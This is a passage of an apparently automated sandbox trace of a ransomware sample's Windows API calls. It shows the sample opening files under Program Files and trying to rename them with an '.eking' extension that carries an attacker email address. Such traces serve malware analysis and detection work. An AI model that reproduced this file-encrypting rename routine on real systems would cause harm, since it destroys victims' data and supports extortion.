files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll")) returned 0 [0176.738] SetEvent (hEvent=0x174) returned 1 [0176.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0176.739] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1363344) returned 1 [0176.739] CloseHandle (hObject=0x1e8) returned 1 [0176.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll")) returned 0x20 [0176.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll")) returned 0x20 [0176.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0176.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPWEC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpwec.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.932] SetEvent (hEvent=0x174) returned 1 [0176.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0177.116] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2560) returned 1 [0177.116] CloseHandle (hObject=0x1f0) returned 1 [0177.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui")) returned 0x20 [0177.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui")) returned 0x20 [0177.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.133] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.133] SetEvent (hEvent=0x174) returned 1 [0177.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0177.387] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=61440) returned 1 [0177.388] CloseHandle (hObject=0x1c0) returned 1 [0177.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0177.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0177.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0177.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.388] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.104] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1101824) returned 1 [0178.104] CloseHandle (hObject=0x1e8) returned 1 [0178.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0178.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0178.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.105] SetEvent (hEvent=0x174) returned 1 [0178.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.108] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=50688) returned 1 [0178.108] CloseHandle (hObject=0x1e8) returned 1 [0178.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax")) returned 0x20 [0178.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax")) returned 0x20 [0178.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\audiodepthconverter.ax" (normalized: "c:\\program files\\dvd maker\\audiodepthconverter.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.109] SetEvent (hEvent=0x174) returned 1 [0178.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.112] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=77884) returned 1 [0178.112] CloseHandle (hObject=0x1e8) returned 1 [0178.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf")) returned 0x20 [0178.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf")) returned 0x20 [0178.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\bod_r.TTF" (normalized: "c:\\program files\\dvd maker\\bod_r.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.113] SetEvent (hEvent=0x174) returned 1 [0178.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.114] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=61440) returned 1 [0178.114] CloseHandle (hObject=0x1e8) returned 1 [0178.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax")) returned 0x20 [0178.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax")) returned 0x20 [0178.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.115] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.116] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2258432) returned 1 [0178.116] CloseHandle (hObject=0x1e8) returned 1 [0178.116] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe")) returned 0x20 [0178.116] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0178.116] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe")) returned 0 [0178.117] SetEvent (hEvent=0x174) returned 1 [0178.117] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.118] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=51712) returned 1 [0178.118] CloseHandle (hObject=0x1e8) returned 1 [0178.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui")) returned 0x20 [0178.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui")) returned 0x20 [0178.119] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.119] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\DVDMaker.exe.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\dvdmaker.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.120] SetEvent (hEvent=0x174) returned 1 [0178.121] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.123] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=12288) returned 1 [0178.123] CloseHandle (hObject=0x1e8) returned 1 [0178.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui")) returned 0x20 [0178.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui")) returned 0x20 [0178.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\OmdProject.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\omdproject.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.123] SetEvent (hEvent=0x174) returned 1 [0178.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.125] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=7168) returned 1 [0178.125] CloseHandle (hObject=0x1e8) returned 1 [0178.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui")) returned 0x20 [0178.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui")) returned 0x20 [0178.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\WMM2CLIP.dll.mui" (normalized: "c:\\program files\\dvd maker\\en-us\\wmm2clip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.126] SetEvent (hEvent=0x174) returned 1 [0178.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0178.127] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=56760) returned 1 [0178.127] CloseHandle (hObject=0x1e8) returned 1 [0178.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf")) returned 0x20 [0178.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf")) returned 0x20 [0178.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Eurosti.TTF" (normalized: "c:\\program files\\dvd maker\\eurosti.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.130] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=41472) returned 1 [0178.130] CloseHandle (hObject=0x1e4) returned 1 [0178.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax")) returned 0x20 [0178.130] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax")) returned 0x20 [0178.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.131] SetEvent (hEvent=0x174) returned 1 [0178.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.132] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=43008) returned 1 [0178.132] CloseHandle (hObject=0x1e4) returned 1 [0178.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax")) returned 0x20 [0178.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax")) returned 0x20 [0178.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\offset.ax.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.134] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=14967808) returned 1 [0178.134] CloseHandle (hObject=0x1e4) returned 1 [0178.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll")) returned 0x20 [0178.134] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0178.134] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll")) returned 0 [0178.134] SetEvent (hEvent=0x174) returned 1 [0178.135] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.135] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4400640) returned 1 [0178.135] CloseHandle (hObject=0x1e4) returned 1 [0178.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll")) returned 0x20 [0178.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0178.136] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll")) returned 0 [0178.136] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\pilot-liverpool-black.exe" (normalized: "c:\\program files\\dvd maker\\pilot-liverpool-black.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0178.137] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=80384) returned 1 [0178.137] CloseHandle (hObject=0x1e4) returned 1 [0178.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\pilot-liverpool-black.exe" (normalized: "c:\\program files\\dvd maker\\pilot-liverpool-black.exe")) returned 0x20 [0178.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\pilot-liverpool-black.exe" (normalized: "c:\\program files\\dvd maker\\pilot-liverpool-black.exe")) returned 0x20 [0178.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\pilot-liverpool-black.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\pilot-liverpool-black.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0178.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\pilot-liverpool-black.exe" (normalized: "c:\\program files\\dvd maker\\pilot-liverpool-black.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 